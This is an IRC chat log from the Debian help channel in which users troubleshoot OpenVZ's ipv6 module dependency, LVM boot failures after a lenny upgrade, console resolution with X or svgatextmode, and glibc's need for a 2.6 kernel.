| 17:01.23 | enouf | t0mas: openvz in .26 wasn't as "integrated" into upstream then |
| 17:01.34 | enouf | perhaps that's why it works? |
| 17:01.44 | t0mas | the problem is not racoon, the problem is openvz as it seems |
| 17:02.09 | t0mas | after running "/etc/init.d/vz start" it loads some vz modules which load ipv6.. and then it is un-unloadable |
| 17:02.24 | enouf | jelly-home: would you happen to know ~ which version of Debian kernels that happens around? |
| 17:02.35 | enouf | ahh .. |
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| 17:03.03 | t0mas | so I guess openvz really wants ipv6 even without using it |
| 17:03.05 | jelly-home | Debian doesn't matter, if there's ipv6 as a module, it can't be removed once it's there |
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| 17:03.59 | enouf | jelly-home: you mean inserted? i can certainly delete a module |
| 17:04.08 | jelly-home | not that one |
| 17:04.16 | enouf | rm the sucker - heh |
| 17:04.32 | enouf | wanna bet? |
| 17:04.44 | enouf | if i can't i'm going back to win98 |
| 17:05.07 | ``y7 | if i have two computers behind the same switch, can one computer with a software firewall on it prevent the other computer from connecting to the internet? |
| 17:05.08 | t0mas | enouf: I have moved the file ;-) |
| 17:05.12 | t0mas | openvz doesn't boot.. |
| 17:05.29 | enouf | t0mas: i never said whatever depends on it would work properly ;-) |
| 17:05.30 | t0mas | so their modules have a hard dependency on ipv6 for supporting it.. even while not using it |
| 17:05.35 | JPT | ``y7: no, it can not |
| 17:05.40 | ``y7 | thx |
| 17:05.41 | t0mas | hehe, indeed |
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| 17:05.57 | t0mas | you can remove it.. but it wouldn't have a very positive effect on the operation of the server |
| 17:06.02 | enouf | t0mas: well, atleast we got to the bottom of it - a bit anyway |
| 17:06.07 | t0mas | jup |
| 17:06.13 | bernie_ | why is it that /etc/X11/xorg.conf is empty |
| 17:06.46 | enouf | t0mas: does something like modinfo $(lsmod | awk '{ print$1 }') | grep depends | grep ipv6 show the culprit once it was loaded? |
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| 17:07.24 | enouf | t0mas: i mean, i guess the openvz _modules_ would have it as a depends then |
| 17:07.34 | t0mas | enouf: it shows three lines, but without names :-) |
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| 17:08.02 | enouf | now - i don't know if/when openvz went more into kernel nor how the KConfig =m, etc is setup |
| 17:08.15 | enouf | i know there Debian kernel patches ... somewhere ;-) |
| 17:08.21 | enouf | t0mas: haha |
| 17:08.26 | t0mas | but I've fixed that |
| 17:08.30 | t0mas | indeed.. 3 openvz modules |
| 17:08.42 | enouf | aye -ok - thanks |
| 17:09.04 | t0mas | vzmon.ko, vzrst.ko, vzcpt.ko |
| 17:09.04 | enouf | s/there/there are/ |
| 17:09.10 | enouf | aha |
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| 17:10.11 | enouf | heh - modinfo: could not open vzmon.ko: No such file or directory |
| 17:10.12 | t0mas | so I can pick this up with OpenVZ, but they probably can't drop the dependency as it gets a lot of "Unknown symbol" errors |
| 17:10.36 | JyZyGyZyX | !oss |
| 17:10.36 | dpkg | somebody said oss was an acronym for Open Source Software that is ironically the acronym referring to 'Open Sound Systems', some very <non-free> and non-open-source software. It is also Online SAP Support. SAP is VERY non-free. (www.4front-tech.com for OSS) or an acronym coined by Vinod Valipollil in the <Halloween> document. the "standard" audio drivers in the 2.2-2.4 series of Linux kernels (see <ALSA> for 2.6 info). OldSchoolSound |
| 17:10.40 | t0mas | enouf: apt-get install linux-image-openvz-amd64 |
| 17:10.41 | enouf | er .. i mean; modinfo: could not find module vzmon |
| 17:10.42 | t0mas | or some other arch |
| 17:10.48 | enouf | t0mas: no thanks ;-) |
| 17:11.37 | t0mas | I didn't say you had to run it ;) |
| 17:12.16 | enouf | t0mas: heh -- well .. i could just do a dpkg -c on it too ;-) |
| 17:12.34 | t0mas | uuhh.. indeed |
| 17:12.35 | enouf | or even -x then grep it, or whatever |
| 17:13.28 | earthian | yay! i did not know that upgradeing etch base system to lenny could be so fun :D |
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| 17:17.10 | enouf | !congratulate earthian |
| 17:17.10 | dpkg | Nice one earthian, you did it! |
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| 17:17.18 | earthian | :D |
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| 17:17.29 | Pnux | hey, stupid question, how can i search a description in aptitude that has an space? ie, 'text editor' |
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| 17:18.56 | feitingen | try escaping out the space, 'text\ editor' |
| 17:19.37 | Talha | Or use \s |
| 17:19.44 | earthian | how do i control fan speed in lenny? |
| 17:19.51 | Talha | aptitude search '~dtest\stest' |
| 17:19.57 | Talha | It's a regular expression. |
| 17:20.49 | Pnux | neither of those work |
| 17:21.04 | Talha | Yes it does lol. |
| 17:21.32 | Talha | Try: aptitude search '~drouting\sdaemon' |
| 17:21.43 | earthian | hmm/ |
| 17:21.44 | earthian | . |
| 17:21.47 | Talha | . |
| 17:21.50 | earthian | lvm died :/ |
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| 17:23.07 | Pnux | Talha: that did work, i didnt know it had to start with ~d |
| 17:23.08 | feitingen | i think my system clock may have stopped or is running very slowly |
| 17:23.10 | Pnux | thanks |
| 17:23.13 | Talha | ;D |
| 17:23.16 | Talha | You're welcome. |
| 17:23.38 | mactimes | Hello everyone. |
| 17:23.53 | mactimes | How can I check what file is being used by the history command? |
| 17:24.44 | mactimes | I know it usually is the ~/.history, but there is no such file in the $HOME directory and it seems that history -c is not cleaning the command history |
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| 17:25.06 | earthian | hmm! 2.6.18 works with my lvm setup while 2.6.26 does not :( |
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| 17:27.23 | adb | mactimes: cat .bash_history |
| 17:27.49 | Talha | ^ |
| 17:28.44 | mactimes | adb: Right. I removed the .bash_history file now. When I start a terminal, I run history -c and close the terminal. When I open another terminal, the commands history is not clean |
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| 17:29.26 | earthian | how do i migrate my logical volumes from 2.6.18 to lenny's 2.6.26? |
| 17:30.44 | ajavid | Talha? |
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| 17:30.51 | Talha | Yes? |
| 17:30.55 | ajavid | can't be. |
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| 17:31.09 | ajavid | Salamualaikum. |
| 17:31.16 | Talha | W/s. |
| 17:31.39 | ajavid | Nyle |
| 17:31.49 | dvs | stoned |
| 17:31.51 | ajavid | 4 years back, maybe you remember, maybe it was someone else. |
| 17:31.58 | Talha | Someone else. |
| 17:32.03 | ajavid | ahh, nm then. |
| 17:32.19 | dvs | he's a secret agent! |
| 17:32.22 | ajavid | lol |
| 17:32.27 | ajavid | I just might be |
| 17:32.33 | ajavid | dvs, long time no see, whats up |
| 17:32.33 | dvs | i knew it |
| 17:32.44 | dvs | I'm getting old. It's my birthday |
| 17:32.49 | Talha | Lol. |
| 17:32.51 | ajavid | Happy birthday brother |
| 17:32.55 | dvs | thanks |
| 17:32.56 | ajavid | how old are you today? |
| 17:32.57 | ajavid | 34? |
| 17:33.00 | ajavid | 36? |
| 17:33.03 | dvs | higher |
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| 17:33.10 | ajavid | I thougth it was one of those numbers |
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| 17:33.21 | dvs | 37. Close enough |
| 17:33.27 | ajavid | then again I've known you for several years |
| 17:33.31 | ajavid | my sense of time could be off |
| 17:33.34 | ajavid | hah, I was close |
| 17:34.05 | ajavid | well I installed something on stable which got pulled in from sid |
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| 17:34.15 | ajavid | moonlight-plugin-mozilla |
| 17:34.22 | ajavid | (silvernight opensource implementation) |
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| 17:35.11 | ajavid | its weird because it won't install in lenny, can't satisfy depends, but if I enable a sid repo and pin stable with a higher priority, it will fetch silverlight from sid |
| 17:35.37 | ajavid | I wonder |
| 17:35.43 | ajavid | judd versions moonlight-plugin-mozilla |
| 17:35.43 | judd | ajavid: moonlight-plugin-mozilla -- sid: 1.0.1-3 squeeze: 1.0.1-3 |
| 17:35.54 | ajavid | hm... I'll be a monkey |
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| 17:36.01 | ajavid | its not even in lenny, no shit. |
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| 17:36.24 | arand | When I run debsign -S on a .changes file what does it send to gpg in order to identify the key? Unless I specify it manually it's unable to find it... |
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| 17:37.54 | ajavid | dvs, party for you in #debian-chat |
| 17:38.05 | dvs | heh |
| 17:38.38 | pseubodot | abrotman, abrotman, my kingdom for abrotman ... |
| 17:39.11 | ajavid | he is doing things right now which are not related to debian |
| 17:39.29 | ajavid | leave him be. |
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| 17:39.47 | pseubodot | he wasn't on the other channels either - is everything okay? |
| 17:39.53 | ajavid | yes |
| 17:39.58 | ajavid | everything is fine |
| 17:40.02 | pseubodot | excellent! |
| 17:40.07 | pseubodot | will catch him when he comes back then. |
| 17:40.11 | ajavid | pseubodot, do you have a debian question? |
| 17:40.16 | ajavid | you can ask the whole channel |
| 17:40.20 | ajavid | do not single out abrotman for help |
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| 17:40.37 | pseubodot | ajavid: yes. but I know abrotman from outside of here and was concerned that he had been gone so long. |
| 17:40.49 | ajavid | so long? |
| 17:40.51 | ajavid | !seen abrotman |
| 17:40.52 | dpkg | abrotman <n=abrotman@pdpc/supporter/active/abrotman> was last seen on IRC in channel #debian, 1d 21h 33m 59s ago, saying: 'okay good'. |
| 17:40.53 | ajavid | last night |
| 17:41.01 | ajavid | yesterday whatever |
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| 17:41.28 | ajavid | I could call him but he would find a call from me the most unexpected. |
| 17:41.30 | pseubodot | ah, hadn't chancked here, he's usually also on a different channel as well (on another server) |
| 17:41.40 | ajavid | pseubodot, do you have a debian related question? |
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| 17:41.49 | dvs | is he in Spain? |
| 17:41.58 | pseubodot | ajavid: yes. I am interested in packaging a simple GPL application. |
| 17:42.08 | ajavid | pseubodot, have you read the new maintainers guide? |
| 17:42.11 | ajavid | !pacakge basics |
| 17:42.19 | ajavid | !package basics |
| 17:42.20 | dpkg | it has been said that package basics is The Basics of the Package Management System, Package format, and how to make packages. http://www.debian.org/doc/FAQ/ch-pkg_basics or see Debian New Maintainers' Guide at http://www.debian.org/doc/maint-guide/ |
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| 17:42.25 | pseubodot | ajavid: at this point, I'm reading up on it, including the NMG, but would probably come to look for help in about a week and a half |
| 17:42.38 | ajavid | pseubodot, sure, whevever you're ready |
| 17:42.39 | arand | has a debian related question ^ |
| 17:42.46 | ajavid | pseubodot, thank you for your concern about abrotman |
| 17:42.58 | ajavid | arand, either no one knows, or no one cares |
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| 17:43.01 | Noble | In firefox, a random flash object crashes all flash objects. Need to reload the page to get it working again, I'm some cases I need to restart the Browser. Suggestions? |
| 17:43.02 | ajavid | arand, I'd go with the former. |
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| 17:43.19 | pseubodot | ajavid: like I said, I'm sure I'll catch him when he surfaces on the ohter channel |
| 17:43.19 | ajavid | Noble, firefox is not supported here |
| 17:43.23 | pseubodot | pepperbob: thanks for the reassurance. :) |
| 17:43.42 | Noble | ajavid: I think this is a flash issue.. |
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| 17:44.00 | arand | Noble: is that on 64bit by any chance? |
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| 17:44.07 | ajavid | If you are not using Ice Weasel we cannot help you with that |
| 17:44.17 | Noble | arand: Yes, its 64 bit |
| 17:44.23 | ajavid | if you want flash to work in a debian packaged browser sure |
| 17:44.37 | Noble | Ice Weasel > firefox? |
| 17:45.07 | fxiny | is the same but with a nicer icon |
| 17:45.10 | ajavid | iceweasel is the free branding of firefox |
| 17:45.13 | ajavid | !why iceweasel |
| 17:45.14 | dpkg | Due to Mozilla logos licensing, Mozilla software isn't DFSG-free, so Debian distributes Mozilla software with different logos. One day Mozilla Corporation decided to revoke the agreement to let Debian use Mozilla trademarks, so Debian changed to non-trademarked product names. See http://en.wikipedia.org/wiki/Mozilla_Corporation_software_rebranded_in_Debian for more information. Ask me about <dfsg>. |
| 17:46.07 | pepperbob | pseubodot: er... what? |
| 17:46.07 | ajavid | Noble, as for flash, do you have a 64bit flash lib or a 32bit one using nspluginwrapper |
| 17:46.07 | ajavid | ? |
| 17:46.07 | arand | Noble: Well, from using ubuntu I've experienced that the adobe labs 10 alpha works much better on 64bit: http://labs.adobe.com/downloads/flashplayer10.html |
| 17:46.15 | JyZyGyZyX | iceweasel is slow and heavy |
| 17:46.33 | Noble | Lets see now, I think I'm using the one from Ubuntu-restricted-extras, which probably is a no-no for you guys? |
| 17:46.35 | ajavid | Noble, I can tell you that I'm on debian lenny stable, I am using amd64, firefox(shiretoko) 3.5.2pre1, with 64bi flash (not ia32 or nspluginwrapper) and I have no issues anywhere |
| 17:46.37 | JyZyGyZyX | and it crashes alot |
| 17:47.15 | ajavid | I use iceweasel 3.0.0.6 from debian stable with amd64 64bit flash lib and its fine |
| 17:47.17 | fxiny | iceweasel never crashes here |
| 17:47.20 | ajavid | it doesn't crash or give me problems |
| 17:47.36 | ajavid | I also have 3.0.0.11 and it also works 100% a-ok |
| 17:47.36 | arand | Noble: Like I said, the alpha from adobe has solved similar issues for me. |
| 17:47.47 | Noble | arand, ty will give that a try. |
| 17:47.48 | fxiny | and is fast as firefox3.5 , this is a PII 400 |
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| 17:48.00 | ajavid | oh gawd |
| 17:48.05 | ajavid | another calculator :) |
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| 17:48.10 | ajavid | pings enouf |
| 17:48.23 | ajavid | 'ey, yer calculator buddy is here |
| 17:48.26 | ajavid | ;) |
| 17:48.30 | ajavid | runs away |
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| 17:52.42 | enouf | ajavid: hey |
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| 17:52.55 | enouf | seen debconf video? streams babay |
| 17:53.05 | ajavid | nah not yet |
| 17:53.27 | ajavid | just been busy working on my penny auction software |
| 17:53.32 | ajavid | http://ws.podzone.org:8181/swoopo/auctions/winners |
| 17:53.33 | ajavid | ;) |
| 17:53.34 | enouf | $ mplayer -cache 1024 -playlist http://video.debconf.org:8000/Lower_talkroom.ogv.m3u |
| 17:53.38 | ajavid | join me in chat! |
| 17:53.49 | ajavid | word, me fires up mplayer |
| 17:53.57 | enouf | oh crap - we're in #debian ... heh |
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| 18:02.24 | earthian | i am having a very similar problem like in http://lkml.org/lkml/2008/2/16/208 |
| 18:04.16 | earthian | i have made logical volume groups under etch, then upgraded to lenny and with the new lenny kernel the system doesnt boot. however i see that the lvm is not being restored at boot time - either disks get initialized too late or something..anyway i get booted into the initrd shell where i see that there are no lvms defined however after scanning i can find them all |
| 18:04.25 | earthian | any idea what is going on? |
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| 18:09.08 | earthian | ok nevermind, i think i found a solution at http://groups.google.com/group/linux.debian.devel.testing/browse_thread/thread/26f2cafa10368e75 |
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| 18:15.09 | izua | i have a box that's used only from console |
| 18:15.21 | neoark | anyone know if its possible to hide ips from who and w ? |
| 18:15.36 | izua | i use it remotely most of the time, but when i need to go fix something at the keyboard, the default terminal resolution is killing me |
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| 18:15.56 | izua | is there any program to start an x session and just display a terminal at a higher resolution? |
| 18:16.10 | izua | slackware had such a feat iirc |
| 18:16.22 | izua | so there probably is :) |
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| 18:17.40 | freenose | Is there way to avoid console unicode during testing installer? |
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| 18:18.44 | freenose | izua: you can set that in your boot manager |
| 18:19.05 | freenose | nm |
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| 18:19.20 | izua | as a boot parameter? |
| 18:20.47 | freenose | izua: for console yes, I think... |
| 18:20.50 | Hazelesque | izua: uh, "startx xterm"? |
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| 18:21.49 | Hazelesque | izua: or, use svgalib-bin's textmode command |
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| 18:23.20 | Hazelesque | at least, I think that's the command |
| 18:23.51 | Hazelesque | sorry |
| 18:23.56 | Hazelesque | stm from svgatextmode |
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| 18:31.11 | izua | um, ok, i got x installed, but the login manager starts |
| 18:31.30 | izua | and if i try to do startx xterm it bitches that the server is already started. if i kill it, it restarts |
| 18:31.43 | Hazelesque | izua: firstly, what did you do to install X? |
| 18:31.51 | Hazelesque | something must've installed the Display Manager |
| 18:32.06 | Hazelesque | secondly, you can shut down the display manager with a command like /etc/init.d/xdm stop |
| 18:32.19 | izua | aptitude, tasks, window manager |
| 18:32.20 | Hazelesque | (replacing xdm with kdm or gdm or wdm or whatever Display Manager you use, as necessary) |
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| 18:33.01 | Hazelesque | thirdly, you can do "startx xterm -- :1" to start it on DISPLAY number :1 |
| 18:33.08 | Hazelesque | fourthly, was there any need to use "bitches"? |
| 18:33.25 | Hazelesque | (fifthly, the manpage for startx should've told you that.) |
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| 18:35.03 | Hazelesque | (I suspect that X is *massive* overkill, if you just need one terminal, in which case I'd recommend svgatextmode. However, xserver, a small window manager and xterm is very useful if you need many, with copy-and-paste, and you don't like "gpm") |
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| 18:36.20 | mjt | x isn't really much larger than svgatextmode |
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| 18:37.03 | izua | thanks. i'm gonna instal svgatextmode now |
| 18:37.29 | Hazelesque | izua: you may need to arse around with the svgatextmode config file to find the name of the resolution you want |
| 18:37.36 | Hazelesque | and set it as the default |
| 18:37.42 | Hazelesque | it's been a long time since I've used it |
| 18:37.50 | izua | that's why i was hoping to do it with x |
| 18:37.56 | Hazelesque | but it should do exactly what you want. |
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| 18:38.15 | Hazelesque | izua: again, X will do what you want too, albeit perhaps a little OTT |
| 18:38.44 | Hazelesque | I've told you how to shut down the display manager, and how to tell "startx" to use a different DISPLAY number (so it doesn't clash with another running X instance) |
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| 18:39.19 | Hazelesque | mjt: depends. if you install xserver-xorg, xbase-clients, xfonts-base(?), and a nice small window manager, yeah. if you install the Desktop task package, you'll be installing OpenOffice before you know it. |
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| 18:39.42 | mjt | Hazelesque: X != desktop |
| 18:39.59 | mjt | that's what i mean |
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| 18:40.10 | Hazelesque | mjt: ISTR that aptitude offers a much wider choice of tasks than "tasksel" these days |
| 18:40.26 | mjt | i never used tasksel or aptitude |
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| 18:40.46 | izua | Hazelesque: hmm, startx xsterm starts X, then exits |
| 18:40.48 | Hazelesque | I only remember using tasksel to install tasks, and selecting the Desktop task (how most people would try to install a graphical environment) installs everything+kitchen sink these days |
| 18:41.03 | izua | looking up, i see xterm bad command line option xterm. |
| 18:41.08 | izua | but apparently xterm is installed |
| 18:41.09 | Hazelesque | izua: A: it's "xterm", not "xsterm" |
| 18:41.13 | Hazelesque | oh |
| 18:41.14 | Hazelesque | heh |
| 18:41.16 | izua | xterm :) |
| 18:41.16 | Hazelesque | whoops |
| 18:41.23 | izua | irc typo |
| 18:41.57 | Hazelesque | I presumed that since you installed the GUI and ended up with a Display Manager, you'd have xterm :P |
| 18:41.58 | Hazelesque | any terminal will do, though. |
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| 18:42.08 | izua | um, xterm issimilar to konsole? |
| 18:42.13 | Hazelesque | yes. |
| 18:42.21 | izua | um, that's not what i really want dude :) |
| 18:42.35 | Hazelesque | you said that the terminal resolution was too small for you? |
| 18:42.37 | izua | i just want a raw black terminal like the one i'm typing in, albeit, at a higher resolution. |
| 18:42.52 | izua | but no window managers, decorations and that stuff |
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| 18:42.53 | Hazelesque | izua: do you know what X is? |
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| 18:43.04 | izua | um, video server |
| 18:43.45 | sshd___ | hi all debian 6 include gnome-ppp? |
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| 18:44.14 | Hazelesque | sshd___: firstly, whatis Debian 6? secondly, see packages.debian.org. |
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| 18:44.49 | sshd___ | Hazelesque: debian 6 == testing |
| 18:45.48 | Hazelesque | I wasn't aware that it was officially numbered at this point. |
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| 18:46.12 | streuner | !testing |
| 18:46.12 | dpkg | [testing] A continuously updated release between <stable> and <unstable>, currently codenamed <squeeze>. See http://wiki.debian.org/DebianTesting and ask me about <testing faq> <lenny->squeeze> <testing security> <moving target> <dda> <apt-listchanges> and <bts>. |
| 18:46.22 | streuner | !squeeze |
| 18:46.23 | dpkg | Squeeze is the codename for the next release. It is the three-eyed space alien. http://lists.debian.org/debian-devel-announce/2008/09/msg00000.html Ask me about <testing>. Not to be confused with the <Xfce> archive manager. http://wiki.debian.org/DebianSqueeze |
| 18:46.41 | streuner | and last not least |
| 18:46.43 | streuner | !lenny |
| 18:46.44 | dpkg | lenny is, like, the binoculars, or the code name for the current stable Debian release, version 5.0, released on 2009-02-14: http://www.debian.org/News/2009/20090214 Ask me about <release notes>, <install debian>, <etch->lenny>, <installer firmware>. Currently <5.0.2>. http://wiki.debian.org/DebianLenny |
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| 18:47.42 | Hazelesque | streuner: still, I don't see a version number assigned to Squeeze. |
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| 18:47.48 | Hazelesque | hence my question |
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| 18:48.56 | streuner | well, now we are two persons then ;-) |
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| 18:50.58 | Hazelesque | streuner: oh, you were pointing out that dpkg did not show a version number either |
| 18:51.10 | Hazelesque | izua: anyway,... if, for some reason, it is important that you need a framebuffer VT console, and not a fullscreen xterm, then you need to use svgatextmode. |
| 18:51.16 | Hazelesque | izua: it is not clear to me what you need/want. |
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| 18:51.54 | izua | i need to display more text on the monitor, basically |
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| 18:52.15 | izua | i'm assuming that since xterm is an x program, i'll need a display manager to run it |
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| 18:52.46 | izua | and i don't want to run any display manager on that box |
| 18:52.52 | Hazelesque | izua: no. |
| 18:52.53 | izua | just increase the terminal size :) |
| 18:53.05 | Hazelesque | to run "xterm", you need an xserver. |
| 18:53.11 | Hazelesque | you do not need a window manager, or a display manager. |
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| 18:53.33 | sshd___ | as called GUI interface for work mysql? |
| 18:54.34 | Hazelesque | a display manager is just a program that starts (and re-starts, as necessary) an X server |
| 18:54.52 | Hazelesque | and displays a "greeter" that prompts you for login information, before starting an xsession script, or your window manager |
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| 18:55.18 | Hazelesque | a window manager provides decorations, and additional features for managing the open windows |
| 18:55.31 | sshd___ | Hazelesque: You use php-myadmin? i find analog |
| 18:55.32 | Hazelesque | neither of these are required to run X, and neither of these are required to run xterm |
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| 18:56.48 | mjt | startx /usr/bin/rdesktop $otherhost |
| 18:56.51 | Hazelesque | sshd___: I have used php-myadmin before, but I don't understand your question |
| 18:56.59 | mjt | no window manager, no decorations, no xterm... |
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| 18:57.11 | mjt | rdesktop -f even |
| 18:57.13 | mjt | (fullscreen) |
| 18:57.58 | Hazelesque | mjt: another example of X being used minimally? |
| 18:58.08 | mjt | as you wish :) |
| 18:58.14 | Hazelesque | no no |
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| 18:58.26 | sshd___ | Hazelesque: I wont use analog analog php-myadmin, understand my question? |
| 18:58.27 | Hazelesque | I was asking if that's what it was? |
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| 18:58.55 | Hazelesque | um, is sshd___ on crack? |
| 18:59.03 | Hazelesque | or bad babelfish translation? |
| 18:59.09 | mjt | i actually run it this way on quite a few machines. WHich are, in turn, diskless and quite old (PIII-700 with 64megs ram and lower) |
| 18:59.11 | enouf | !8ball is sshd on crack? |
| 18:59.12 | dpkg | Negative. |
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| 18:59.47 | enouf | mjt: those machines could definitely accept more RAM |
| 18:59.56 | mjt | there's no reason for that |
| 18:59.58 | sshd___ | I do not wont use php-myadmin, i find analog... |
| 19:00.29 | enouf | mjt: want some used 64-128MB SD-RAM (pc100/133) cheap? |
| 19:00.41 | enouf | fine |
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| 19:00.49 | mjt | enouf: and the transfer will cost.... quite alot :) |
| 19:00.59 | mjt | they works well already |
| 19:01.01 | enouf | mjt: for whom? :-P |
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| 19:01.25 | enouf | mjt: but the chipsets support up to 768M or more |
| 19:01.47 | mjt | enouf: ok, so send them my way please. for cheap ;) To Moscow, Russia ;) |
| 19:01.47 | enouf | mjt: i'm on a pII 350MHz with 512RAM |
| 19:02.00 | enouf | mjt: got a bride for me? |
| 19:02.03 | enouf | hides |
| 19:02.09 | Hazelesque | rolls her eyes |
| 19:02.22 | enouf | really hides now ... |
| 19:02.25 | mjt | but actually i do have some of them unused |
| 19:02.59 | enouf | mjt: i .. just have many older systems, and i can't really use some things anymore |
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| 19:03.22 | enouf | mjt: now .. how about a nice "museum" piece? |
| 19:03.31 | mjt | i still have several i486 macines with alot of 32mb simm modules ;) |
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| 19:04.04 | enouf | mjt: a nice oldworld Apple powerMac 7200/200 ... all peripherals included ;-) |
| 19:04.04 | mjt | oh.. no. 16mb and 4mb and some 2mb |
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| 19:04.36 | enouf | PPC |
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| 19:04.40 | enouf | i mean HUGE 17" monitor with spkrs + Printer + other things |
| 19:05.04 | enouf | mjt: i have babyATs here |
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| 19:05.20 | enouf | mjt: 32M max on some |
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| 19:05.36 | mjt | enouf: speaking of museum, i've several of these -- http://www.wang2200.org/iskra-226.html |
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| 19:05.42 | parabyte | hi guys |
| 19:06.03 | parabyte | i got a question, can i just run a 2.4 series kernel on lenny? |
| 19:06.04 | enouf | haha .. just realized there's some nick sshd___ |
| 19:06.12 | parabyte | or do i need to modify things? |
| 19:06.24 | enouf | no |
| 19:06.26 | mjt | parabyte: most likely it wont work |
| 19:06.34 | enouf | parabyte: see Etch release notes |
| 19:06.34 | parabyte | oh no |
| 19:06.50 | parabyte | reason i wanna do this is so i can run debian lenny on the original xbox |
| 19:06.52 | enouf | parabyte: you're one release too far ... well ... |
| 19:06.53 | mjt | for one i'm not sure at all about libc |
| 19:06.57 | parabyte | i have xebian on there and its too old now |
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| 19:07.08 | enouf | not that you 'absolutely' cannot make it happen ... but |
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| 19:07.20 | parabyte | i cannt get the xbox kernel patches for 2.6 |
| 19:07.25 | parabyte | and im no programmer |
| 19:07.28 | mjt | libc requires 2.6+ |
| 19:07.32 | enouf | parabyte: $$$ |
| 19:07.34 | enouf | :-) |
| 19:07.37 | parabyte | lol |
| 19:07.49 | enouf | parabyte: you can buy _anything_ |
| 19:08.00 | enouf | especially in Soviet Russia ... heh |
| 19:08.03 | parabyte | enouf: you know anyone to offer there services? |
| 19:08.08 | enouf | hides again |
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| 19:08.15 | parabyte | lol |
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| 19:08.25 | enouf | parabyte: .. erm .. offhand .. hrm .. someone will chime in |
| 19:08.35 | parabyte | lol |
| 19:08.53 | parabyte | couldnt i just build the 2.4 kernel with the lastest libc |
| 19:08.58 | parabyte | and then be happy |
| 19:09.00 | parabyte | lol |
| 19:09.08 | enouf | is not a coder, devel, maintainer </disclaimer> |
| 19:09.09 | parabyte | i have the kernel sources for what i need |
| 19:09.28 | enouf | you must be aware of glibc incompats |
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| 19:09.41 | enouf | visit ##kernel -- see /topic |
| 19:09.51 | parabyte | isnt it backwards compatible? |
| 19:10.13 | parabyte | i was under the impression that i could even use the old 2.2 series kernel on a modern distro if i made a few changes |
| 19:10.16 | parabyte | like static dev |
| 19:10.17 | parabyte | ?? |
| 19:10.18 | fxiny | try with the famous tutankamon patch :P |
| 19:10.25 | bzed | parabyte: no |
| 19:10.36 | parabyte | oh no |
| 19:10.50 | bzed | parabyte: your libc will need a 2.6 kernel |
| 19:11.02 | enouf | parabyte: it is .. however .. distros "patch" things |
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| 19:11.16 | parabyte | oh no i dont know what to say |
| 19:11.20 | parabyte | im devistated |
| 19:11.35 | enouf | bzed: not too long ago, someone compiled the 0.0.1 kernel using like glibc 2.x |
| 19:11.47 | parabyte | so even if i use linux from scratch and build my own gnu/linux distro id still have to use a old outdated libc |
| 19:11.51 | bzed | compiling should not be a problem |
| 19:11.53 | mjt | glibc >= 2.6 will NOT work on 2.4 and older |
| 19:11.56 | enouf | maybe even 3.x |
| 19:12.03 | bzed | but booting the kernle with a new libc6 will fail |
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| 19:12.10 | enouf | bzed: so what's the issue then? |
| 19:12.11 | parabyte | im understanding |
| 19:12.20 | parabyte | the libc is all the libs for c++ right?? |
| 19:12.26 | enouf | no |
| 19:12.28 | mjt | and on lenny everything is built with glibc-2.7 |
| 19:12.32 | enouf | it's the heart |
| 19:12.40 | enouf | so what? |
| 19:12.42 | parabyte | the libs? |
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| 19:12.50 | mjt | it is the Main Library |
| 19:12.50 | enouf | it's "backwards" compatible |
| 19:12.58 | parabyte | kernel libs? |
| 19:13.02 | parabyte | for software compiling |
| 19:13.04 | parabyte | ? |
| 19:13.04 | enouf | there are none |
| 19:13.15 | mjt | loses patience |
| 19:13.17 | enouf | parabyte: hush a moment |
| 19:13.21 | parabyte | :) |
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| 19:13.50 | parabyte | 2 secs |
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| 19:14.03 | enouf | mjt: ok - i'm ignorant ... parabyte STFU a moment! please! |
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| 19:14.32 | enouf | mjt: is it ABI or API related? |
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| 19:14.40 | mjt | both |
| 19:14.46 | enouf | ok |
| 19:15.00 | enouf | mjt: and this applies to Lenny , yes? |
| 19:15.20 | mjt | current glibc requires some stuff from kernel that does not exist in 2.4. Notable threads. |
| 19:15.21 | enouf | mjt: but NOT necessarily running certain Kernel version, correct? |
| 19:15.45 | bzed | enouf: it needs a running kernel >=2.6 somthing |
| 19:15.57 | enouf | mjt: not to mention functions/typedefs/include defs are altered, dropped, etc? |
| 19:16.05 | enouf | bzed: why? sysfs? |
| 19:16.07 | mjt | nothing altered/dropped |
| 19:16.11 | mjt | but added |
| 19:16.13 | enouf | mjt: bullshit |
| 19:16.17 | parabyte | i totaly get it:) |
| 19:16.20 | parabyte | thanks guys |
| 19:16.20 | enouf | mjt: things have been changes |
| 19:16.21 | bzed | enouf: I doubt that glibc uses sysfs |
| 19:16.21 | mjt | and glibc requires that additions |
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| 19:16.34 | mjt | glibc uses sysfs actually |
| 19:16.38 | enouf | bzed: so - what's the problem? |
| 19:16.41 | mjt | but it's optional |
| 19:16.44 | enouf | thanks |
| 19:16.56 | enouf | so does modprobe |
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| 19:17.23 | mjt | modutils will work on current glibc just fine |
| 19:17.34 | enouf | needs to run ... crap -- thank you all for ... the convo .. really |
| 19:17.41 | mjt | but glibc wont work with 2.4 kernel |
| 19:17.46 | enouf | mjt: you and bzed recently especially |
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| 19:18.00 | parabyte | i dont know but why on earth has the kernel developers and glibc developers broken backwards compatibility |
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| 19:18.08 | parabyte | i use linux cause i can do what ever i want |
| 19:18.14 | ranix | why do you need an old linux kernel |
| 19:18.14 | parabyte | now i find i cant |
| 19:18.18 | enouf | parabyte: i told you -- see ##kernel ! |
| 19:18.21 | enouf | and topic |
| 19:18.28 | mjt | glibc from etch and before -- the one that was designed for 2.4 or 2.2 kernel - WILL work on 2.6 kernel |
| 19:18.39 | parabyte | enouf: :) its ok i understand the problem |
| 19:18.47 | ajavid | !glibc |
| 19:18.47 | dpkg | somebody said glibc was at http://www.imaxx.net/~thrytis/glibc/index.old.html (dead), http://pessoal.sercomtel.com.br/assis/linux/glibc-2.HOWTO/ (archive). GNU libc, also known as libc6 in the Linux universe. glibc is the most fundamental piece of software on your machine, basically every piece of software you have installed other than your kernel depends on it, so upgrading it is essentially upgrading your entire system/debian release/version. |
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| 19:18.48 | parabyte | :) just need to update my life |
| 19:18.48 | enouf | AND i mentioned the Etch release notes |
| 19:18.58 | enouf | but no .. you want to blatther!@ |
| 19:19.13 | enouf | parabyte: no you do not |
| 19:19.17 | enouf | goes |
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| 19:19.46 | parabyte | does the same problem apply with uclibc ? |
| 19:19.59 | parabyte | well it isnt a problem i know |
| 19:20.10 | ajavid | why do you want to use a old kernel |
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| 19:20.48 | mjt | uclibc is small because it does not have any compatibility stuff at all |
| 19:20.50 | ranix | ajavid: I'll give you three guesses, and if you guess !troll you guess correctly |
| 19:21.00 | mjt | ie, it will work on whatever kernel it was compiled for. only. |
| 19:21.10 | ajavid | word |
